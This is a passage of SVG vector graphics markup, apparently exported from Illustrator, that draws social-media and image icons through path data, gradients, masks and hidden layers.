				v4.1c0.1,0,0.3,0,0.4,0c0.1,0,0.3,0,0.4,0c0.3,0,0.6,0,0.9-0.1c0.3-0.1,0.5-0.2,0.7-0.3c0.2-0.2,0.4-0.4,0.5-0.6
				c0.1-0.3,0.2-0.6,0.2-1c0-0.4-0.1-0.7-0.2-1C196.6,61.2,196.4,61,196.2,60.9z"/>
			<path fill="#FFFFFF" d="M204.9,63.5c-0.6,0-1.1,0.2-1.4,0.7c-0.3,0.4-0.4,1.1-0.4,1.9c0,0.8,0.1,1.5,0.4,1.9
				c0.3,0.4,0.7,0.7,1.4,0.7c0.6,0,1.1-0.2,1.4-0.7c0.3-0.4,0.4-1.1,0.4-1.9c0-0.8-0.1-1.5-0.4-1.9C206,63.7,205.6,63.5,204.9,63.5z
				"/>
			<path fill="#FFFFFF" d="M209.9,71.2c0.8-0.4,1.7-0.6,2.6-0.6c1.8,0,3.6,0.9,4.5,2.4l2.4,3.8h1.4c0.5-0.1,1-0.2,1.5-0.2
				c0.5,0,1.1,0.1,1.6,0.2h0.1c0.3-0.3,0.7-0.6,1.1-0.8c0.8-0.4,1.7-0.6,2.6-0.6c0.4,0,0.7,0,1.1,0.1c0.4-0.4,0.8-0.7,1.3-1
				c0.8-0.4,1.7-0.6,2.5-0.6c0.5-0.8,0.8-1.7,0.8-2.7V59.3c0-3.1-2.7-5.6-6.1-5.6h-39.8c-3.4,0-6.1,2.5-6.1,5.6v11.9
				c0,3.1,2.7,5.6,6.1,5.6h20.1c-0.3-0.9-0.3-1.8-0.1-2.7C207.8,72.9,208.7,71.8,209.9,71.2z M221.4,59.5h0.4v2.4h2.1
				c0,0.2,0.1,0.3,0.1,0.4c0,0.1,0,0.3,0,0.4c0,0.1,0,0.3,0,0.4c0,0.1,0,0.3-0.1,0.5h-2.1v3.2c0,0.3,0,0.6,0.1,0.8
				c0.1,0.2,0.1,0.4,0.3,0.5c0.1,0.1,0.2,0.2,0.4,0.2c0.2,0,0.4,0.1,0.6,0.1c0.2,0,0.3,0,0.5,0c0.2,0,0.3,0,0.4-0.1
				c0.1,0.2,0.1,0.4,0.2,0.6c0,0.2,0.1,0.4,0.1,0.6c0,0.1,0,0.2,0,0.3c0,0.1,0,0.2,0,0.2c-0.5,0.1-1.1,0.2-1.7,0.2
				c-1.1,0-1.9-0.2-2.4-0.7c-0.6-0.5-0.8-1.2-0.8-2.2v-3.7h-1.1l-0.1-0.3L221.4,59.5z M210.8,69c0.1-0.3,0.2-0.6,0.3-0.9
				c0.4,0.1,0.7,0.2,1.1,0.3c0.3,0.1,0.7,0.1,1.1,0.1c0.2,0,0.3,0,0.5,0c0.2,0,0.4-0.1,0.5-0.1c0.2-0.1,0.3-0.2,0.4-0.3
				c0.1-0.1,0.2-0.3,0.2-0.4c0-0.3-0.1-0.4-0.3-0.5c-0.2-0.1-0.4-0.2-0.7-0.3l-1.1-0.3c-0.6-0.2-1.2-0.4-1.5-0.8
				c-0.4-0.3-0.5-0.8-0.5-1.5c0-0.8,0.3-1.4,0.9-1.9c0.6-0.5,1.5-0.7,2.6-0.7c0.5,0,0.9,0,1.3,0.1c0.4,0.1,0.9,0.2,1.3,0.3
				c0,0.3-0.1,0.6-0.2,0.9c-0.1,0.3-0.2,0.6-0.3,0.8c-0.3-0.1-0.6-0.2-0.9-0.3c-0.3-0.1-0.7-0.1-1.1-0.1c-0.4,0-0.7,0.1-0.9,0.2
				c-0.2,0.1-0.3,0.3-0.3,0.5c0,0.2,0.1,0.4,0.2,0.5c0.2,0.1,0.4,0.2,0.7,0.3l1,0.3c0.3,0.1,0.6,0.2,0.9,0.3
				c0.3,0.1,0.5,0.3,0.7,0.5c0.2,0.2,0.3,0.4,0.4,0.7c0.1,0.3,0.2,0.6,0.2,1c0,0.4-0.1,0.8-0.3,1.1c-0.2,0.3-0.4,0.6-0.8,0.9
				c-0.3,0.2-0.8,0.4-1.2,0.6c-0.5,0.1-1,0.2-1.6,0.2c-0.3,0-0.5,0-0.8,0c-0.2,0-0.5,0-0.7-0.1c-0.2,0-0.4-0.1-0.6-0.1
				c-0.2-0.1-0.4-0.1-0.7-0.2C210.7,69.6,210.7,69.3,210.8,69z M199.1,64.5c-0.3,0.5-0.7,0.9-1.2,1.2c-0.5,0.3-1,0.5-1.6,0.6
				c-0.6,0.1-1.2,0.2-1.7,0.2c-0.1,0-0.3,0-0.4,0c-0.1,0-0.3,0-0.4,0v3.7c-0.2,0-0.4,0.1-0.6,0.1c-0.2,0-0.4,0-0.6,0
				c-0.2,0-0.4,0-0.6,0c-0.2,0-0.4,0-0.7-0.1V58.6c0.5,0,1.1-0.1,1.6-0.1c0.5,0,1.1,0,1.6,0c0.6,0,1.2,0.1,1.8,0.2
				c0.6,0.1,1.1,0.3,1.6,0.6c0.5,0.3,0.9,0.7,1.2,1.2c0.3,0.5,0.5,1.2,0.5,2C199.5,63.3,199.4,64,199.1,64.5z M206.8,70
				c-0.5,0.2-1.2,0.3-1.9,0.3c-0.7,0-1.4-0.1-1.9-0.3c-0.5-0.2-1-0.5-1.3-0.9c-0.4-0.4-0.6-0.8-0.8-1.4c-0.2-0.5-0.3-1.1-0.3-1.7
				c0-0.6,0.1-1.2,0.3-1.7c0.2-0.5,0.4-1,0.8-1.4c0.4-0.4,0.8-0.7,1.3-0.9c0.5-0.2,1.2-0.3,1.9-0.3c0.7,0,1.4,0.1,1.9,0.3
				c0.5,0.2,1,0.5,1.4,0.9c0.4,0.4,0.6,0.8,0.8,1.4c0.2,0.5,0.3,1.1,0.3,1.7c0,0.6-0.1,1.2-0.3,1.7c-0.2,0.5-0.4,1-0.8,1.4
				C207.8,69.5,207.4,69.8,206.8,70z"/>
			<path fill="#FFFFFF" d="M254.4,103.3l-4.8-7.6c-0.1-0.2-0.4-0.3-0.6-0.2l-0.1,0l-1.8-2.8c-0.3-0.4-0.9-0.6-1.3-0.3l-1.8,1
				c-1-1.5-1.7-2.7-1.9-3.3c-0.1-0.3-0.2-1-0.3-1.6c-0.1-0.7-0.2-1.3-0.4-1.7c-1-2.6-5.8-9.3-6-9.5c-0.8-1.3-2.8-1.8-4.3-1
				c-0.8,0.4-1.4,1-1.6,1.7c-1-0.7-2.4-0.8-3.4-0.2c-0.8,0.4-1.3,1.1-1.5,1.8c-0.9-1-2.6-1.2-3.9-0.6c-0.7,0.4-1.2,1-1.4,1.7
				l-4.2-6.6c-0.8-1.3-2.8-1.8-4.3-1c-0.7,0.4-1.2,1-1.5,1.7c-0.2,0.7-0.1,1.5,0.3,2.2l6.6,10.4c0,0.1,0,0.2,0,0.3l-0.2,5.6
				c0,1.1,0.5,2.2,1.5,2.9l0.3,0.2c0.2,0.2,5.4,4,7.4,5c0.4,0.2,0.8,0.4,1.2,0.5c0.2,0.1,0.4,0.2,0.7,0.3c0.1,0.1,0.3,0.1,0.4,0.2
				l-0.1,0c-0.2,0.1-0.4,0.3-0.5,0.5c-0.1,0.2,0,0.5,0.1,0.7l1.9,2.9c0,0,0,0,0,0c0,0.1,0,0.2,0,0.3l4.8,7.6
				c0.1,0.1,0.2,0.2,0.4,0.2c0.1,0,0.2,0,0.2-0.1l19.9-10.5C254.5,103.8,254.6,103.5,254.4,103.3z M230.3,104.9l-1.1-1.7l16.7-8.8
				l1,1.7L230.3,104.9z"/>
		</g>
		<defs>
			<filter id="Adobe_OpacityMaskFilter" filterUnits="userSpaceOnUse" x="181.3" y="114.5" width="73.2" height="60.9">
				<feColorMatrix  type="matrix" values="1 0 0 0 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0"/>
			</filter>
		</defs>
		<mask maskUnits="userSpaceOnUse" x="181.3" y="114.5" width="73.2" height="60.9" id="SVGID_1_" display="inline">
			<g filter="url(#Adobe_OpacityMaskFilter)">
				<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="217.663" y1="148.8858" x2="217.663" y2="114.4996">
					<stop  offset="0" style="stop-color:#000000"/>
					<stop  offset="0.1205" style="stop-color:#040404"/>
					<stop  offset="0.2454" style="stop-color:#111111"/>
					<stop  offset="0.3724" style="stop-color:#252525"/>
					<stop  offset="0.5008" style="stop-color:#434343"/>
					<stop  offset="0.6304" style="stop-color:#686868"/>
					<stop  offset="0.761" style="stop-color:#969696"/>
					<stop  offset="0.8898" style="stop-color:#CBCBCB"/>
					<stop  offset="1" style="stop-color:#FFFFFF"/>
				</linearGradient>
				<rect x="162.7" y="114.5" fill="url(#SVGID_2_)" width="109.9" height="34.4"/>
			</g>
		</mask>
		<g display="inline" opacity="0.7" mask="url(#SVGID_1_)">
			<path fill="#FFFFFF" d="M196.2,168.1c-0.2,0.2-0.5,0.3-0.7,0.3c-0.3,0.1-0.6,0.1-0.9,0.1c-0.1,0-0.2,0-0.4,0c-0.1,0-0.3,0-0.5,0
				v-4.1c0.1,0,0.3,0,0.4,0c0.1,0,0.3,0,0.4,0c0.3,0,0.6,0,0.9,0.1c0.3,0.1,0.5,0.2,0.7,0.3c0.2,0.2,0.4,0.4,0.5,0.6
				c0.1,0.3,0.2,0.6,0.2,1c0,0.4-0.1,0.7-0.2,1C196.6,167.8,196.4,168,196.2,168.1z"/>
			<path fill="#FFFFFF" d="M204.9,165.5c-0.6,0-1.1-0.2-1.4-0.7c-0.3-0.4-0.4-1.1-0.4-1.9c0-0.8,0.1-1.5,0.4-1.9
				c0.3-0.4,0.7-0.7,1.4-0.7c0.6,0,1.1,0.2,1.4,0.7c0.3,0.4,0.4,1.1,0.4,1.9c0,0.8-0.1,1.5-0.4,1.9
				C206,165.3,205.6,165.5,204.9,165.5z"/>
			<path fill="#FFFFFF" d="M207.4,154.9c-0.3-0.9-0.2-1.8,0.1-2.7h-20.1c-3.4,0-6.1,2.5-6.1,5.6v11.9c0,3.1,2.7,5.6,6.1,5.6h39.8
				c3.4,0,6.1-2.5,6.1-5.6v-11.9c0-1-0.3-1.9-0.8-2.7c-0.9,0-1.8-0.2-2.5-0.6c-0.5-0.3-1-0.6-1.3-1c-0.3,0.1-0.7,0.1-1.1,0.1
				c-0.9,0-1.8-0.2-2.6-0.6c-0.4-0.2-0.8-0.5-1.1-0.8h-0.1c-0.5,0.1-1,0.2-1.6,0.2c-0.5,0-1-0.1-1.5-0.2h-1.4l-2.4,3.8
				c-0.9,1.5-2.6,2.4-4.5,2.4c-0.9,0-1.8-0.2-2.6-0.6C208.7,157.2,207.8,156.1,207.4,154.9z M218.2,165.7l0.1-0.3h1.1v-3.7
				c0-1,0.3-1.8,0.8-2.2c0.6-0.5,1.4-0.7,2.4-0.7c0.6,0,1.1,0.1,1.7,0.2c0,0.1,0,0.2,0,0.2c0,0.1,0,0.2,0,0.3c0,0.2,0,0.4-0.1,0.6
				c0,0.2-0.1,0.4-0.2,0.6c-0.1,0-0.3,0-0.4-0.1c-0.2,0-0.3,0-0.5,0c-0.2,0-0.4,0-0.6,0.1c-0.2,0-0.3,0.1-0.4,0.2
				c-0.1,0.1-0.2,0.3-0.3,0.5c-0.1,0.2-0.1,0.5-0.1,0.8v3.2h2.1c0,0.2,0.1,0.3,0.1,0.5c0,0.1,0,0.3,0,0.4c0,0.1,0,0.3,0,0.4
				c0,0.1,0,0.3-0.1,0.4h-2.1v2.4h-0.4L218.2,165.7z M210.7,159.1c0.2-0.1,0.5-0.2,0.7-0.2c0.2-0.1,0.4-0.1,0.6-0.1
				c0.2,0,0.4-0.1,0.7-0.1c0.2,0,0.5,0,0.8,0c0.6,0,1.2,0.1,1.6,0.2c0.5,0.1,0.9,0.3,1.2,0.6c0.3,0.2,0.6,0.5,0.8,0.9
				c0.2,0.3,0.3,0.7,0.3,1.1c0,0.4-0.1,0.7-0.2,1s-0.2,0.5-0.4,0.7c-0.2,0.2-0.4,0.3-0.7,0.5c-0.3,0.1-0.6,0.2-0.9,0.3l-1,0.3
				c-0.3,0.1-0.5,0.2-0.7,0.3c-0.2,0.1-0.2,0.3-0.2,0.5c0,0.2,0.1,0.4,0.3,0.5c0.2,0.1,0.5,0.2,0.9,0.2c0.4,0,0.7,0,1.1-0.1
				c0.3-0.1,0.6-0.2,0.9-0.3c0.1,0.2,0.2,0.5,0.3,0.8c0.1,0.3,0.1,0.6,0.2,0.9c-0.5,0.1-0.9,0.3-1.3,0.3c-0.4,0.1-0.9,0.1-1.3,0.1
				c-1.1,0-1.9-0.2-2.6-0.7c-0.6-0.5-0.9-1.1-0.9-1.9c0-0.7,0.2-1.2,0.5-1.5c0.4-0.3,0.9-0.6,1.5-0.8l1.1-0.3
				c0.3-0.1,0.5-0.2,0.7-0.3c0.2-0.1,0.3-0.3,0.3-0.5c0-0.2-0.1-0.3-0.2-0.4c-0.1-0.1-0.2-0.2-0.4-0.3c-0.2-0.1-0.3-0.1-0.5-0.1
				c-0.2,0-0.4,0-0.5,0c-0.4,0-0.7,0-1.1,0.1c-0.3,0.1-0.7,0.2-1.1,0.3c-0.1-0.3-0.3-0.6-0.3-0.9
				C210.7,159.7,210.7,159.4,210.7,159.1z M199.5,166.5c0,0.8-0.1,1.5-0.5,2c-0.3,0.5-0.7,0.9-1.2,1.2c-0.5,0.3-1,0.5-1.6,0.6
				c-0.6,0.1-1.2,0.2-1.8,0.2c-0.6,0-1.1,0-1.6,0c-0.5,0-1.1-0.1-1.6-0.1v-11.5c0.2,0,0.5-0.1,0.7-0.1s0.4,0,0.6,0
				c0.2,0,0.4,0,0.6,0c0.2,0,0.4,0,0.6,0.1v3.7c0.1,0,0.2,0,0.4,0c0.1,0,0.3,0,0.4,0c0.6,0,1.1,0.1,1.7,0.2c0.6,0.1,1.1,0.3,1.6,0.6
				c0.5,0.3,0.9,0.7,1.2,1.2C199.4,165,199.5,165.7,199.5,166.5z M208.2,159.9c0.4,0.4,0.6,0.8,0.8,1.4c0.2,0.5,0.3,1.1,0.3,1.7
				c0,0.6-0.1,1.2-0.3,1.7c-0.2,0.5-0.4,1-0.8,1.4c-0.4,0.4-0.8,0.7-1.4,0.9c-0.5,0.2-1.2,0.3-1.9,0.3c-0.7,0-1.4-0.1-1.9-0.3
				c-0.5-0.2-1-0.5-1.3-0.9c-0.4-0.4-0.6-0.8-0.8-1.4c-0.2-0.5-0.3-1.1-0.3-1.7c0-0.6,0.1-1.2,0.3-1.7c0.2-0.5,0.4-1,0.8-1.4
				c0.4-0.4,0.8-0.7,1.3-0.9c0.5-0.2,1.2-0.3,1.9-0.3c0.7,0,1.4,0.1,1.9,0.3C207.4,159.2,207.8,159.5,208.2,159.9z"/>
			<path fill="#FFFFFF" d="M254.3,125.1l-19.9-10.5c-0.1,0-0.2-0.1-0.2-0.1c-0.2,0-0.3,0.1-0.4,0.2l-4.8,7.6c-0.1,0.1-0.1,0.2,0,0.3
				c0,0,0,0,0,0l-1.9,2.9c-0.1,0.2-0.2,0.4-0.1,0.7c0.1,0.2,0.2,0.4,0.5,0.5l0.1,0c-0.1,0.1-0.3,0.1-0.4,0.2
				c-0.2,0.1-0.4,0.2-0.7,0.3c-0.4,0.1-0.8,0.3-1.2,0.5c-2,1-7.2,4.9-7.4,5l-0.3,0.2c-1,0.7-1.6,1.7-1.5,2.9l0.2,5.6
				c0,0.1,0,0.2,0,0.3l-6.6,10.4c-0.4,0.7-0.5,1.4-0.3,2.2c0.2,0.7,0.7,1.4,1.5,1.7c1.4,0.8,3.4,0.3,4.3-1l4.2-6.6
				c0.2,0.7,0.7,1.3,1.4,1.7c1.3,0.7,2.9,0.4,3.9-0.6c0.2,0.7,0.7,1.4,1.5,1.8c1.1,0.6,2.5,0.5,3.4-0.2c0.2,0.7,0.8,1.3,1.6,1.7
				c1.4,0.8,3.4,0.3,4.3-1c0.2-0.3,5-7,6-9.5c0.2-0.4,0.3-1.1,0.4-1.7c0.1-0.6,0.2-1.2,0.3-1.6c0.3-0.7,0.9-1.8,1.9-3.3l1.8,1
				c0.4,0.2,1.1,0.1,1.3-0.3l1.8-2.8l0.1,0c0.2,0.1,0.5,0,0.6-0.2l4.8-7.6C254.6,125.5,254.5,125.2,254.3,125.1z M247,132.9l-1,1.7
				l-16.7-8.8l1.1-1.7L247,132.9z"/>
		</g>
	</g>
</g>
<g id="Image" display="none">
	<g display="inline">
		<g>
			<g>
				<path fill="#FFFFFF" d="M233.5,72.9h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8V77.7
					C238.8,75.1,236.4,72.9,233.5,72.9z M236.3,105.4c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1
					c0.3-0.2,0.7-0.2,1,0l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1l12-10.8c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5
					L236.3,105.4L236.3,105.4z M236.3,93.3l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8l-11.2,10.1l-4.2-3.1
					c-1.2-0.9-3-0.9-4.2,0l-6.5,4.9V77.7c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V93.3z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M210.2,77.5c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3c3.3,0,5.9-2.4,5.9-5.3
					C216.1,79.9,213.5,77.5,210.2,77.5z M210.2,85.9c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1s3.5,1.4,3.5,3.1
					C213.7,84.5,212.1,85.9,210.2,85.9z"/>
			</g>
		</g>
	</g>
	<g display="inline">
		<g id="youtube_1_">
			<g>
				<path fill="#FFFFFF" d="M-62.8-46.6h-26.8c-4.9,0-8.9,4-8.9,8.8V-23c0,4.9,4,8.8,8.9,8.8h26.8c4.9,0,8.9-4,8.9-8.8v-14.7
					C-53.8-42.6-57.9-46.6-62.8-46.6z M-55.8-23c0,3.8-3.1,6.9-7,6.9h-26.8c-3.8,0-7-3.1-7-6.9v-14.7c0-3.8,3.1-6.9,7-6.9h26.8
					c3.8,0,7,3.1,7,6.9V-23z M-82.6-22.1l14.6-8.3l-14.6-8.3V-22.1z M-80.7-35.3l8.6,4.9l-8.6,4.9V-35.3z"/>
			</g>
		</g>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M-75.5,20.4c-2.9-2.9-7.7-2.9-10.6,0l-5.3,5.2c-0.4,0.4-0.4,1.2,0,1.6s1.2,0.4,1.6,0l5.3-5.2
			c1-1,2.3-1.5,3.7-1.5c1.4,0,2.7,0.5,3.7,1.5c1,1,1.5,2.2,1.5,3.6c0,1.4-0.5,2.6-1.5,3.6l-6.9,6.8c-2,2-5.3,2-7.3,0
			c-0.4-0.4-1.2-0.4-1.6,0c-0.4,0.4-0.4,1.2,0,1.6c1.5,1.4,3.4,2.2,5.3,2.2c1.9,0,3.8-0.7,5.3-2.2l6.9-6.8c1.4-1.4,2.2-3.2,2.2-5.2
			C-73.4,23.6-74.1,21.7-75.5,20.4z"/>
		<path fill="#FFFFFF" d="M-89.4,41.2l-4.5,4.4c-1,1-2.3,1.5-3.7,1.5c-1.4,0-2.7-0.5-3.7-1.5c-2-2-2-5.2,0-7.2l6.5-6.4
			c1-1,2.3-1.5,3.7-1.5c1.4,0,2.7,0.5,3.7,1.5c0.4,0.4,1.2,0.4,1.6,0c0.4-0.4,0.4-1.2,0-1.6c-2.9-2.9-7.7-2.9-10.6,0l-6.5,6.4
			c-1.4,1.4-2.2,3.2-2.2,5.2c0,2,0.8,3.8,2.2,5.2c1.4,1.4,3.3,2.1,5.3,2.1c2,0,3.9-0.8,5.3-2.1l4.5-4.4c0.4-0.4,0.4-1.2,0-1.6
			S-88.9,40.7-89.4,41.2z"/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M-76.8,153.7c-2.1,0-4,1-5.2,2.6l-10.1-5.7c0.2-0.7,0.4-1.4,0.4-2.2c0-0.8-0.1-1.5-0.4-2.2l10.1-5.7
			c1.2,1.6,3.1,2.6,5.2,2.6c3.6,0,6.6-3,6.6-6.6c0-3.6-3-6.6-6.6-6.6s-6.6,3-6.6,6.6c0,0.8,0.1,1.5,0.4,2.2l-10.1,5.7
			c-1.2-1.6-3.1-2.6-5.2-2.6c-3.6,0-6.6,3-6.6,6.6s3,6.6,6.6,6.6c2.1,0,4-1,5.2-2.6l10.1,5.7c-0.2,0.7-0.4,1.4-0.4,2.2
			c0,3.6,3,6.6,6.6,6.6s6.6-3,6.6-6.6S-73.1,153.7-76.8,153.7z M-76.8,132c2.5,0,4.5,2,4.5,4.5s-2,4.5-4.5,4.5c-2.5,0-4.5-2-4.5-4.5
			S-79.3,132-76.8,132z M-98.4,153c-2.5,0-4.5-2-4.5-4.5s2-4.5,4.5-4.5c2.5,0,4.5,2,4.5,4.5S-95.9,153-98.4,153z M-76.8,164.8
			c-2.5,0-4.5-2-4.5-4.5s2-4.5,4.5-4.5c2.5,0,4.5,2,4.5,4.5S-74.3,164.8-76.8,164.8z"/>
	</g>
	<g display="inline">
		<g>
			<g>
				<path fill="#FFFFFF" d="M369,39.7h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8V44.5
					C374.4,41.9,372,39.7,369,39.7z M371.9,72.2c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1c0.3-0.2,0.7-0.2,1,0
					l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1L363,55c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5L371.9,72.2L371.9,72.2z
					 M371.9,60.1l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8L350,63.5l-4.2-3.1c-1.2-0.9-3-0.9-4.2,0l-6.5,4.9V44.5
					c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V60.1z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M345.8,44.3c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3c3.3,0,5.9-2.4,5.9-5.3S349.1,44.3,345.8,44.3
					z M345.8,52.7c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1c1.9,0,3.5,1.4,3.5,3.1C349.3,51.3,347.7,52.7,345.8,52.7z"/>
			</g>
		</g>
	</g>
	<g display="inline">
		<g>
			<g>
				<path fill="#FFFFFF" d="M369.1,156h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8v-27.7
					C374.4,158.1,372.1,156,369.1,156z M372,188.5c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1
					c0.3-0.2,0.7-0.2,1,0l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1l12-10.8c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5L372,188.5
					L372,188.5z M372,176.3l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8l-11.2,10.1l-4.2-3.1c-1.2-0.9-3-0.9-4.2,0
					l-6.5,4.9v-20.8c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V176.3z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M345.9,160.6c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3c3.3,0,5.9-2.4,5.9-5.3
					C351.8,162.9,349.1,160.6,345.9,160.6z M345.9,168.9c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1c1.9,0,3.5,1.4,3.5,3.1
					C349.3,167.6,347.8,168.9,345.9,168.9z"/>
			</g>
		</g>
	</g>
	<g display="inline">
		<g>
			<g>
				<path fill="#FFFFFF" d="M96.1,49.5h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8V54.2
					C101.5,51.6,99.1,49.5,96.1,49.5z M99,81.9c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1c0.3-0.2,0.7-0.2,1,0
					l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1l12-10.8c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5L99,81.9L99,81.9z M99,69.8
					l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8L77.1,73.2l-4.2-3.1c-1.2-0.9-3-0.9-4.2,0l-6.5,4.9V54.2
					c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V69.8z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M72.9,54c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3s5.9-2.4,5.9-5.3S76.1,54,72.9,54z M72.9,62.4
					c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1c1.9,0,3.5,1.4,3.5,3.1C76.3,61,74.8,62.4,72.9,62.4z"/>
			</g>
		</g>
	</g>
	<g display="inline">
		<g>
			<g>
				<path fill="#FFFFFF" d="M97,201h-31c-2.9,0-5.3,2.1-5.3,4.8v27.7c0,2.6,2.4,4.8,5.3,4.8h31c2.9,0,5.3-2.1,5.3-4.8v-27.7
					C102.3,203.1,99.9,201,97,201z M99.9,233.4c0,1.4-1.3,2.6-2.9,2.6h-31c-1.6,0-2.9-1.2-2.9-2.6v-4l8.1-6.1c0.3-0.2,0.7-0.2,1,0
					l5.1,3.8c0.5,0.4,1.2,0.3,1.7-0.1l12-10.8c0.2-0.2,0.5-0.2,0.6-0.2c0.1,0,0.4,0,0.6,0.3l7.8,8.5L99.9,233.4L99.9,233.4z
					 M99.9,221.3l-5.8-6.4c-0.6-0.6-1.4-1-2.4-1.1c-0.9,0-1.8,0.3-2.5,0.8L78,224.7l-4.2-3.1c-1.2-0.9-3-0.9-4.2,0l-6.5,4.9v-20.8
					c0-1.4,1.3-2.6,2.9-2.6h31c1.6,0,2.9,1.2,2.9,2.6V221.3z"/>
			</g>
		</g>
		<g>
			<g>
				<path fill="#FFFFFF" d="M73.7,205.5c-3.3,0-5.9,2.4-5.9,5.3c0,2.9,2.7,5.3,5.9,5.3s5.9-2.4,5.9-5.3
					C79.7,207.9,77,205.5,73.7,205.5z M73.7,213.9c-1.9,0-3.5-1.4-3.5-3.1c0-1.7,1.6-3.1,3.5-3.1c1.9,0,3.5,1.4,3.5,3.1
					S75.7,213.9,73.7,213.9z"/>
			</g>
		</g>
	</g>
</g>
<g id="color-image" display="none">
	<g>
		
			<rect x="190.6" y="69.3" display="inline" fill="#C3E1ED" stroke="#E7ECED" stroke-width="2" stroke-miterlimit="10" width="55.6" height="43.7"/>
		<circle display="inline" fill="#ED8A19" cx="205.5" cy="79.8" r="6.5"/>
		<polygon display="inline" fill="#1A9172" points="245.3,98.2 244.3,97.1 232.3,86.2 221.9,97.6 227.4,103 231.4,107 245.3,107 		
			"/>
		<polygon display="inline" fill="#1A9172" points="191.6,111 215.5,111 211.5,107 200.6,96.1 191.6,104 		"/>
		<rect x="191.6" y="107" display="inline" fill="#6B5B4B" width="53.6" height="5"/>
		<polygon display="inline" fill="#25AE88" points="227.4,103 216.5,92.1 199.6,107 231.4,107 		"/>
	</g>
	<g>
		
			<rect x="53.4" y="47" display="inline" fill="#C3E1ED" stroke="#E7ECED" stroke-width="2" stroke-miterlimit="10" width="55.6" height="43.7"/>
		<circle display="inline" fill="#ED8A19" cx="68.3" cy="57.5" r="6.5"/>
		<polygon display="inline" fill="#1A9172" points="108,75.9 107,74.8 95.1,63.9 84.6,75.3 90.1,80.8 94.1,84.8 108,84.8 		"/>
		<polygon display="inline" fill="#1A9172" points="54.3,88.7 78.2,88.7 74.2,84.7 63.3,73.8 54.3,81.7 		"/>
		<rect x="54.3" y="84.8" display="inline" fill="#6B5B4B" width="53.6" height="5"/>
		<polygon display="inline" fill="#25AE88" points="90.1,80.8 79.2,69.9 62.3,84.8 94.1,84.8 		"/>
	</g>
	<g>
		
			<rect x="325.8" y="37.5" display="inline" fill="#C3E1ED" stroke="#E7ECED" stroke-width="2" stroke-miterlimit="10" width="55.6" height="43.7"/>
		<circle display="inline" fill="#ED8A19" cx="340.7" cy="48" r="6.5"/>
		<polygon display="inline" fill="#1A9172" points="380.4,66.4 379.4,65.3 367.5,54.4 357.1,65.8 362.5,71.2 366.5,75.2 380.4,75.2 
					"/>
		<polygon display="inline" fill="#1A9172" points="326.8,79.2 350.6,79.2 346.6,75.2 335.7,64.3 326.8,72.2 		"/>
		<rect x="326.8" y="75.2" display="inline" fill="#6B5B4B" width="53.6" height="5"/>
		<polygon display="inline" fill="#25AE88" points="362.5,71.2 351.6,60.3 334.7,75.2 366.5,75.2 		"/>
	</g>
	<g display="inline">
		<path fill="#FFFFFF" d="M334.9,158.5v30.3h37.3v-30.3H334.9z M369.9,186.5h-32.7v-25.7h32.7V186.5z M360.5,166.6
			c0,1.9,1.6,3.5,3.5,3.5s3.5-1.6,3.5-3.5c0-1.9-1.6-3.5-3.5-3.5S360.5,164.7,360.5,166.6z M367.5,184.1h-28l7-18.7l9.3,11.7
